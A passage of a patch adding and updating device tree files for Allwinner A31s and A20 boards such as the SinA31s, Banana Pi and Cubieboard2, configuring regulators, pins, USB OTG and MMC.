++ *     modify it under the terms of the GNU General Public License as
++ *     published by the Free Software Foundation; either version 2 of the
++ *     License, or (at your option) any later version.
++ *
++ *     This file is distributed in the hope that it will be useful,
++ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
++ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++ *     GNU General Public License for more details.
++ *
++ * Or, alternatively,
++ *
++ *  b) Permission is hereby granted, free of charge, to any person
++ *     obtaining a copy of this software and associated documentation
++ *     files (the "Software"), to deal in the Software without
++ *     restriction, including without limitation the rights to use,
++ *     copy, modify, merge, publish, distribute, sublicense, and/or
++ *     sell copies of the Software, and to permit persons to whom the
++ *     Software is furnished to do so, subject to the following
++ *     conditions:
++ *
++ *     The above copyright notice and this permission notice shall be
++ *     included in all copies or substantial portions of the Software.
++ *
++ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
++ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
++ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
++ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
++ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
++ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
++ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
++ *     OTHER DEALINGS IN THE SOFTWARE.
++ */
++
++/dts-v1/;
++#include "sun6i-a31s.dtsi"
++#include "sunxi-common-regulators.dtsi"
++
++#include <dt-bindings/gpio/gpio.h>
++#include <dt-bindings/pinctrl/sun4i-a10.h>
++
++/ {
++	model = "Sinlinx SinA31s Core Board";
++	compatible = "sinlinx,sina31s", "allwinner,sun6i-a31s";
++
++	aliases {
++		serial0 = &uart0;
++	};
++};
++
++&cpu0 {
++	cpu-supply = <&reg_dcdc3>;
++};
++
++/* eMMC on core board */
++&mmc3 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&mmc3_8bit_emmc_pins>;
++	vmmc-supply = <&reg_dcdc1>;
++	vqmmc-supply = <&reg_dcdc1>;
++	bus-width = <8>;
++	non-removable;
++	cap-mmc-hw-reset;
++	status = "okay";
++};
++
++/* AXP221s PMIC on core board */
++&p2wi {
++	status = "okay";
++
++	axp22x: pmic at 68 {
++		compatible = "x-powers,axp221";
++		reg = <0x68>;
++		interrupt-parent = <&nmi_intc>;
++		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
++	};
++};
++
++#include "axp22x.dtsi"
++
++&reg_aldo3 {
++	regulator-always-on;
++	regulator-min-microvolt = <2700000>;
++	regulator-max-microvolt = <3300000>;
++	regulator-name = "avcc";
++};
++
++&reg_dc5ldo {
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-cpus";
++};
++
++&reg_dcdc1 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "vcc-3v0";
++};
++
++&reg_dcdc2 {
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-gpu";
++};
++
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-cpu";
++};
++
++&reg_dcdc4 {
++	regulator-always-on;
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-sys-dll";
++};
++
++&reg_dcdc5 {
++	regulator-always-on;
++	regulator-min-microvolt = <1500000>;
++	regulator-max-microvolt = <1500000>;
++	regulator-name = "vcc-dram";
++};
++
++/* UART0 pads available on core board */
++&uart0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&uart0_pins_a>;
++	status = "okay";
++};
++
+--- /dev/null
++++ b/arch/arm/dts/sun6i-a31s-sina31s.dts
+@@ -0,0 +1,153 @@
++/*
++ * Copyright 2015 Chen-Yu Tsai <wens at csie.org>
++ *
++ * This file is dual-licensed: you can use it either under the terms
++ * of the GPL or the X11 license, at your option. Note that this dual
++ * licensing only applies to this file, and not this project as a
++ * whole.
++ *
++ *  a) This file is free software; you can redistribute it and/or
++ *     modify it under the terms of the GNU General Public License as
++ *     published by the Free Software Foundation; either version 2 of the
++ *     License, or (at your option) any later version.
++ *
++ *     This file is distributed in the hope that it will be useful,
++ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
++ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++ *     GNU General Public License for more details.
++ *
++ * Or, alternatively,
++ *
++ *  b) Permission is hereby granted, free of charge, to any person
++ *     obtaining a copy of this software and associated documentation
++ *     files (the "Software"), to deal in the Software without
++ *     restriction, including without limitation the rights to use,
++ *     copy, modify, merge, publish, distribute, sublicense, and/or
++ *     sell copies of the Software, and to permit persons to whom the
++ *     Software is furnished to do so, subject to the following
++ *     conditions:
++ *
++ *     The above copyright notice and this permission notice shall be
++ *     included in all copies or substantial portions of the Software.
++ *
++ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
++ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
++ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
++ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
++ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
++ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
++ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
++ *     OTHER DEALINGS IN THE SOFTWARE.
++ */
++
++/* The SinA31s development board has the SinA31s core board soldered on */
++#include "sun6i-a31s-sina31s-core.dtsi"
++
++#include <dt-bindings/input/input.h>
++
++/ {
++	model = "Sinlinx SinA31s Development Board";
++	compatible = "sinlinx,sina31s-sdk", "allwinner,sun6i-a31s";
++
++	chosen {
++		stdout-path = "serial0:115200n8";
++	};
++
++	leds {
++		compatible = "gpio-leds";
++		pinctrl-names = "default";
++		pinctrl-0 = <&led_pin_sina31s>;
++
++		status {
++			label = "sina31s:status:usr";
++			gpios = <&pio 7 13 GPIO_ACTIVE_HIGH>; /* PH13 */
++		};
++	};
++};
++
++&ehci0 {
++	/* USB 2.0 4 port hub IC */
++	status = "okay";
++};
++
++&ehci1 {
++	status = "okay";
++};
++
++&gmac {
++	pinctrl-names = "default";
++	pinctrl-0 = <&gmac_pins_mii_a>;
++	phy = <&phy1>;
++	phy-mode = "mii";
++	phy-supply = <&reg_dldo1>;
++	status = "okay";
++
++	phy1: ethernet-phy at 1 {
++		reg = <1>;
++	};
++};
++
++&ir {
++	pinctrl-names = "default";
++	pinctrl-0 = <&ir_pins_a>;
++	status = "okay";
++};
++
++&lradc {
++	vref-supply = <&reg_aldo3>;
++	status = "okay";
++
++	button at 158 {
++		label = "Volume Up";
++		linux,code = <KEY_VOLUMEUP>;
++		channel = <0>;
++		voltage = <158730>;
++	};
++
++	button at 349 {
++		label = "Volume Down";
++		linux,code = <KEY_VOLUMEDOWN>;
++		channel = <0>;
++		voltage = <349206>;
++	};
++};
++
++&mmc0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_sina31s>;
++	vmmc-supply = <&reg_dcdc1>;
++	bus-width = <4>;
++	cd-gpios = <&pio 0 4 GPIO_ACTIVE_HIGH>; /* PA4 */
++	cd-inverted;
++	status = "okay";
++};
++
++&ohci1 {
++	status = "okay";
++};
++
++&pio {
++	led_pin_sina31s: led_pin at 0 {
++		allwinner,pins = "PH13";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
++	mmc0_cd_pin_sina31s: mmc0_cd_pin at 0 {
++		allwinner,pins = "PA4";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
++};
++
++&reg_dldo1 {
++	regulator-min-microvolt = <3300000>;
++	regulator-max-microvolt = <3300000>;
++	regulator-name = "vcc-gmac-phy";
++};
++
++&usbphy {
++	status = "okay";
++};
+--- /dev/null
++++ b/arch/arm/dts/sun6i-a31s-yones-toptech-bs1078-v2.dts
+@@ -0,0 +1,205 @@
++/*
++ * Copyright 2015 Lawrence Yu <lyu at micile.com>
++ *
++ * This file is dual-licensed: you can use it either under the terms
++ * of the GPL or the X11 license, at your option. Note that this dual
++ * licensing only applies to this file, and not this project as a
++ * whole.
++ *
++ *  a) This file is free software; you can redistribute it and/or
++ *     modify it under the terms of the GNU General Public License as
++ *     published by the Free Software Foundation; either version 2 of the
++ *     License, or (at your option) any later version.
++ *
++ *     This file is distributed in the hope that it will be useful,
++ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
++ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++ *     GNU General Public License for more details.
++ *
++ * Or, alternatively,
++ *
++ *  b) Permission is hereby granted, free of charge, to any person
++ *     obtaining a copy of this software and associated documentation
++ *     files (the "Software"), to deal in the Software without
++ *     restriction, including without limitation the rights to use,
++ *     copy, modify, merge, publish, distribute, sublicense, and/or
++ *     sell copies of the Software, and to permit persons to whom the
++ *     Software is furnished to do so, subject to the following
++ *     conditions:
++ *
++ *     The above copyright notice and this permission notice shall be
++ *     included in all copies or substantial portions of the Software.
++ *
++ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
++ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
++ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
++ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
++ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
++ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
++ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
++ *     OTHER DEALINGS IN THE SOFTWARE.
++ */
++
++/dts-v1/;
++#include "sun6i-a31s.dtsi"
++#include "sunxi-common-regulators.dtsi"
++
++#include <dt-bindings/gpio/gpio.h>
++#include <dt-bindings/pinctrl/sun4i-a10.h>
++
++/ {
++	model = "Yones TopTech BS1078 v2 Tablet";
++	compatible = "yones-toptech,bs1078-v2", "allwinner,sun6i-a31s";
++
++	aliases {
++		serial0 = &uart0;
++		i2c1 = &i2c1;
++		i2c2 = &i2c2;
++	};
++
++	chosen {
++		stdout-path = "serial0:115200n8";
++	};
++};
++
++&i2c1 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c1_pins_a>;
++	status = "okay";
++};
++
++&i2c2 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c2_pins_a>;
++	status = "okay";
++};
++
++&ehci0 {
++	status = "okay";
++};
++
++&ehci1 {
++	status = "okay";
++};
++
++&ohci0 {
++	status = "okay";
++};
++
++&ohci1 {
++	status = "okay";
++};
++
++&pio {
++	mmc0_cd_pin_bs1078v2: mmc0_cd_pin at 0 {
++		allwinner,pins = "PA8";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
++};
++
++&mmc0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_bs1078v2>;
++	vmmc-supply = <&reg_vcc3v0>;
++	bus-width = <4>;
++	cd-gpios = <&pio 0 8 GPIO_ACTIVE_HIGH>; /* PA8 */
++	cd-inverted;
++	status = "okay";
++};
++
++&mmc0_pins_a {
++	allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++};
++
++&p2wi {
++	status = "okay";
++
++	axp22x: pmic at 68 {
++		compatible = "x-powers,axp221";
++		reg = <0x68>;
++		interrupt-parent = <&nmi_intc>;
++		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
++	};
++};
++
++#include "axp22x.dtsi"
++
++&reg_aldo3 {
++	regulator-always-on;
++	regulator-min-microvolt = <2700000>;
++	regulator-max-microvolt = <3300000>;
++	regulator-name = "avcc";
++};
++
++&reg_dc1sw {
++	regulator-name = "vcc-lcd-usb2";
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++};
++
++&reg_dc5ldo {
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-cpus";
++};
++
++&reg_dcdc1 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "vcc-3v0";
++};
++
++&reg_dcdc2 {
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-gpu";
++};
++
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-cpu";
++};
++
++&reg_dcdc4 {
++	regulator-always-on;
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-sys-dll";
++};
++
++&reg_dcdc5 {
++	regulator-always-on;
++	regulator-min-microvolt = <1500000>;
++	regulator-max-microvolt = <1500000>;
++	regulator-name = "vcc-dram";
++};
++
++&reg_dldo1 {
++	regulator-min-microvolt = <3300000>;
++	regulator-max-microvolt = <3300000>;
++	regulator-name = "vcc-wifi";
++};
++
++/* Voltage source for I2C pullup resistors for I2C Bus 0 */
++&reg_dldo3 {
++	regulator-min-microvolt = <2800000>;
++	regulator-max-microvolt = <2800000>;
++	regulator-name = "vddio-csi";
++};
++
++&uart0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&uart0_pins_a>;
++	status = "okay";
++};
++
++&usbphy {
++	usb1_vbus-supply = <&reg_dldo1>;
++	usb2_vbus-supply = <&reg_dc1sw>;
++	status = "okay";
++};
+--- a/arch/arm/dts/sun7i-a20-bananapi.dts
++++ b/arch/arm/dts/sun7i-a20-bananapi.dts
+@@ -92,6 +92,24 @@
+ 	status = "okay";
+ };
+ 
++&codec {
++	status = "okay";
++};
++
++&cpu0 {
++	cpu-supply = <&reg_dcdc2>;
++	operating-points = <
++		/* kHz	  uV */
++		960000	1400000
++		912000	1400000
++		864000	1350000
++		720000	1250000
++		528000	1150000
++		312000	1100000
++		144000	1050000
++		>;
++};
++
+ &ehci0 {
+ 	status = "okay";
+ };
+@@ -119,13 +137,9 @@
+ 	status = "okay";
+ 
+ 	axp209: pmic at 34 {
+-		compatible = "x-powers,axp209";
+ 		reg = <0x34>;
+ 		interrupt-parent = <&nmi_intc>;
+ 		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
+-
+-		interrupt-controller;
+-		#interrupt-cells = <1>;
+ 	};
+ };
+ 
+@@ -159,7 +173,18 @@
+ 	status = "okay";
+ };
+ 
++&otg_sram {
++	status = "okay";
++};
++
+ &pio {
++	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
++		allwinner,pins = "PH4";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
++
+ 	mmc0_cd_pin_bananapi: mmc0_cd_pin at 0 {
+ 		allwinner,pins = "PH10";
+ 		allwinner,function = "gpio_in";
+@@ -182,6 +207,37 @@
+ 	};
+ };
+ 
++#include "axp209.dtsi"
++
++&reg_dcdc2 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-cpu";
++};
++
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-int-dll";
++};
++
++&reg_ldo1 {
++	regulator-name = "vdd-rtc";
++};
++
++&reg_ldo2 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "avcc";
++};
++
++&reg_usb0_vbus {
++	status = "okay";
++};
++
+ &reg_usb1_vbus {
+ 	status = "okay";
+ };
+@@ -216,7 +272,21 @@
+ 	status = "okay";
+ };
+ 
++&usb_otg {
++	dr_mode = "otg";
++	status = "okay";
++};
++
++&usb_power_supply {
++	status = "okay";
++};
++
+ &usbphy {
++	pinctrl-names = "default";
++	pinctrl-0 = <&usb0_id_detect_pin>;
++	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
++	usb0_vbus_power-supply = <&usb_power_supply>;
++	usb0_vbus-supply = <&reg_usb0_vbus>;
+ 	usb1_vbus-supply = <&reg_usb1_vbus>;
+ 	usb2_vbus-supply = <&reg_usb2_vbus>;
+ 	status = "okay";
+--- a/arch/arm/dts/sun7i-a20-cubieboard2.dts
++++ b/arch/arm/dts/sun7i-a20-cubieboard2.dts
+@@ -84,6 +84,10 @@
+ 	status = "okay";
+ };
+ 
++&codec {
++	status = "okay";
++};
++
+ &cpu0 {
+ 	cpu-supply = <&reg_dcdc2>;
+ };
+@@ -150,6 +154,10 @@
+ 	status = "okay";
+ };
+ 
++&otg_sram {
++	status = "okay";
++};
++
+ &pio {
+ 	led_pins_cubieboard2: led_pins at 0 {
+ 		allwinner,pins = "PH20", "PH21";
+@@ -157,12 +165,24 @@
+ 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
+ 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+ 	};
++
++	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
++		allwinner,pins = "PH4";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
+ };
+ 
+ &reg_ahci_5v {
+ 	status = "okay";
+ };
+ 
++&usb_otg {
++	dr_mode = "otg";
++	status = "okay";
++};
++
+ #include "axp209.dtsi"
+ 
+ &reg_dcdc2 {
+@@ -205,6 +225,9 @@
+ };
+ 
+ &usbphy {
++	pinctrl-names = "default";
++	pinctrl-0 = <&usb0_id_detect_pin>;
++	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
+ 	usb1_vbus-supply = <&reg_usb1_vbus>;
+ 	usb2_vbus-supply = <&reg_usb2_vbus>;
+ 	status = "okay";
+--- a/arch/arm/dts/sun7i-a20-cubietruck.dts
++++ b/arch/arm/dts/sun7i-a20-cubietruck.dts
+@@ -101,6 +101,10 @@
+ 	status = "okay";
+ };
+ 
++&codec {
++	status = "okay";
++};
++
+ &cpu0 {
+ 	cpu-supply = <&reg_dcdc2>;
+ };
+--- /dev/null
++++ b/arch/arm/dts/sun7i-a20-icnova-swac.dts
+@@ -0,0 +1,169 @@
++/*
++ * Copyright 2015 Stefan Roese <sr at denx.de>
++ *
++ * This file is dual-licensed: you can use it either under the terms
++ * of the GPL or the X11 license, at your option. Note that this dual
++ * licensing only applies to this file, and not this project as a
++ * whole.
++ *
++ *  a) This file is free software; you can redistribute it and/or
++ *     modify it under the terms of the GNU General Public License as
++ *     published by the Free Software Foundation; either version 2 of the
++ *     License, or (at your option) any later version.
++ *
++ *     This file is distributed in the hope that it will be useful,
++ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
++ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++ *     GNU General Public License for more details.
++ *
++ * Or, alternatively,
++ *
++ *  b) Permission is hereby granted, free of charge, to any person
++ *     obtaining a copy of this software and associated documentation
++ *     files (the "Software"), to deal in the Software without
++ *     restriction, including without limitation the rights to use,
++ *     copy, modify, merge, publish, distribute, sublicense, and/or
++ *     sell copies of the Software, and to permit persons to whom the
++ *     Software is furnished to do so, subject to the following
++ *     conditions:
++ *
++ *     The above copyright notice and this permission notice shall be
++ *     included in all copies or substantial portions of the Software.
++ *
++ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
++ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
++ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
++ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
++ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
++ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
++ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
++ *     OTHER DEALINGS IN THE SOFTWARE.
++ */
++
++/dts-v1/;
++#include "sun7i-a20.dtsi"
++#include "sunxi-common-regulators.dtsi"
++
++#include <dt-bindings/gpio/gpio.h>
++#include <dt-bindings/interrupt-controller/irq.h>
++#include <dt-bindings/pinctrl/sun4i-a10.h>
++
++/ {
++	model = "ICnova-A20 SWAC";
++	compatible = "swac,icnova-a20-swac", "incircuit,icnova-a20", "allwinner,sun7i-a20";
++
++	aliases {
++		serial0 = &uart0;
++	};
++
++	chosen {
++		stdout-path = "serial0:115200n8";
++	};
++};
++
++&cpu0 {
++	cpu-supply = <&reg_dcdc2>;
++};
++
++&ehci0 {
++	status = "okay";
++};
++
++&ehci1 {
++	status = "okay";
++};
++
++&gmac {
++	pinctrl-names = "default";
++	pinctrl-0 = <&gmac_pins_mii_a>;
++	phy = <&phy1>;
++	phy-mode = "mii";
++	status = "okay";
++
++	phy1: ethernet-phy at 1 {
++		reg = <1>;
++	};
++};
++
++&i2c0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c0_pins_a>;
++	status = "okay";
++
++	axp209: pmic at 34 {
++		reg = <0x34>;
++		interrupt-parent = <&nmi_intc>;
++		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
++	};
++};
++
++&i2c1 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c1_pins_a>;
++	status = "okay";
++};
++
++&mmc0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_reference_design>;
++	vmmc-supply = <&reg_vcc3v3>;
++	bus-width = <4>;
++	cd-gpios = <&pio 8 5 GPIO_ACTIVE_HIGH>; /* PI5 */
++	cd-inverted;
++	status = "okay";
++};
++
++&ohci0 {
++	status = "okay";
++};
++
++&ohci1 {
++	status = "okay";
++};
++
++#include "axp209.dtsi"
++
++&reg_dcdc2 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-cpu";
++};
++
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-int-dll";
++};
++
++&reg_ldo1 {
++	regulator-name = "vdd-rtc";
++};
++
++&reg_ldo2 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "avcc";
++};
++
++&reg_usb1_vbus {
++	status = "okay";
++};
++
++&reg_usb2_vbus {
++	status = "okay";
++};
++
++&uart0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&uart0_pins_a>;
++	status = "okay";
++};
++
++&usbphy {
++	usb1_vbus-supply = <&reg_usb1_vbus>;
++	usb2_vbus-supply = <&reg_usb2_vbus>;
++	status = "okay";
++};
+--- /dev/null
++++ b/arch/arm/dts/sun7i-a20-itead-ibox.dts
+@@ -0,0 +1,125 @@
++/*
++ * Copyright 2015 - Marcus Cooper <codekipper at gmail.com>
++ *
++ * This file is dual-licensed: you can use it either under the terms
++ * of the GPL or the X11 license, at your option. Note that this dual
++ * licensing only applies to this file, and not this project as a
++ * whole.
++ *
++ *  a) This file is free software; you can redistribute it and/or
++ *     modify it under the terms of the GNU General Public License as
++ *     published by the Free Software Foundation; either version 2 of the
++ *     License, or (at your option) any later version.
++ *
++ *     This file is distributed in the hope that it will be useful,
++ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
++ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++ *     GNU General Public License for more details.
++ *
++ * Or, alternatively,
++ *
++ *  b) Permission is hereby granted, free of charge, to any person
++ *     obtaining a copy of this software and associated documentation
++ *     files (the "Software"), to deal in the Software without
++ *     restriction, including without limitation the rights to use,
++ *     copy, modify, merge, publish, distribute, sublicense, and/or
++ *     sell copies of the Software, and to permit persons to whom the
++ *     Software is furnished to do so, subject to the following
++ *     conditions:
++ *
++ *     The above copyright notice and this permission notice shall be
++ *     included in all copies or substantial portions of the Software.
++ *
++ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
++ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
++ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
++ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
++ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
++ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
++ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
++ *     OTHER DEALINGS IN THE SOFTWARE.
++ */
++
++/dts-v1/;
++#include "sun7i-a20.dtsi"
++#include "sunxi-itead-core-common.dtsi"
++
++/ {
++	model = "Itead Ibox A20";
++	compatible = "itead,itead-ibox-a20", "allwinner,sun7i-a20";
++
++	leds {
++		compatible = "gpio-leds";
++		pinctrl-names = "default";
++		pinctrl-0 = <&led_pins_itead_core>;
++
++		green {
++			label = "itead_core:green:usr";
++			gpios = <&pio 7 20 GPIO_ACTIVE_HIGH>;
++			default-state = "on";
++		};
++
++		blue {
++			label = "itead_core:blue:usr";
++			gpios = <&pio 7 21 GPIO_ACTIVE_HIGH>;
++			default-state = "on";
++		};
++	};
++};
++
++&ahci {
++	target-supply = <&reg_ahci_5v>;
++	status = "okay";
++};
++
++&codec {
++	status = "okay";
++};
++
++&gmac {
++	pinctrl-names = "default";
++	pinctrl-0 = <&gmac_pins_mii_a>;
++	phy = <&phy1>;
++	phy-mode = "mii";
++	status = "okay";
++
++	phy1: ethernet-phy at 1 {
++		reg = <1>;
++	};
++};
++
++&i2c0 {
++	axp209: pmic at 34 {
++		interrupt-parent = <&nmi_intc>;
++		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
++	};
++};
++
++&ir0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&ir0_rx_pins_a>;
++	status = "okay";
++};
++
++&mmc0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_reference_design>;
++	vmmc-supply = <&reg_vcc3v3>;
++	bus-width = <4>;
++	cd-gpios = <&pio 7 1 GPIO_ACTIVE_HIGH>; /* PH1 */
++	cd-inverted;
++	status = "okay";
++};
++
++&pio {
++	led_pins_itead_core: led_pins at 0 {
++		allwinner,pins = "PH20","PH21";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_20_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++};
++
++&reg_ahci_5v {
++	status = "okay";
++};
+--- a/arch/arm/dts/sun7i-a20-lamobo-r1.dts
++++ b/arch/arm/dts/sun7i-a20-lamobo-r1.dts
+@@ -97,16 +97,6 @@
+ 
+ &cpu0 {
+ 	cpu-supply = <&reg_dcdc2>;
+-	operating-points = <
+-		/* kHz	  uV */
+-		960000	1400000
+-		912000	1400000
+-		864000	1350000
+-		720000	1250000
+-		528000	1150000
+-		312000	1100000
+-		144000	1050000
+-		>;
+ };
+ 
+ &ehci0 {
+--- a/arch/arm/dts/sun7i-a20-mk808c.dts
++++ b/arch/arm/dts/sun7i-a20-mk808c.dts
+@@ -53,6 +53,7 @@
+ 
+ #include <dt-bindings/gpio/gpio.h>
+ #include <dt-bindings/interrupt-controller/irq.h>
++#include <dt-bindings/pinctrl/sun4i-a10.h>
+ 
+ / {
+ 	model = "mk808c";
+@@ -68,6 +69,10 @@
+ 	};
+ };
+ 
++&codec {
++	status = "okay";
++};
++
+ &ehci0 {
+ 	status = "okay";
+ };
+@@ -121,6 +126,30 @@
+ 	status = "okay";
+ };
+ 
++&otg_sram {
++	status = "okay";
++};
++
++&pio {
++	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
++		allwinner,pins = "PH4";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
++	usb0_vbus_detect_pin: usb0_vbus_detect_pin at 0 {
++		allwinner,pins = "PH5";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++};
++
++&reg_usb0_vbus {
++	status = "okay";
++};
++
+ &reg_usb1_vbus {
+ 	status = "okay";
+ };
+@@ -141,7 +170,17 @@
+ 	status = "okay";
+ };
+ 
++&usb_otg {
++	dr_mode = "otg";
++	status = "okay";
++};
++
+ &usbphy {
++	pinctrl-names = "default";
++	pinctrl-0 = <&usb0_id_detect_pin>, <&usb0_vbus_detect_pin>;
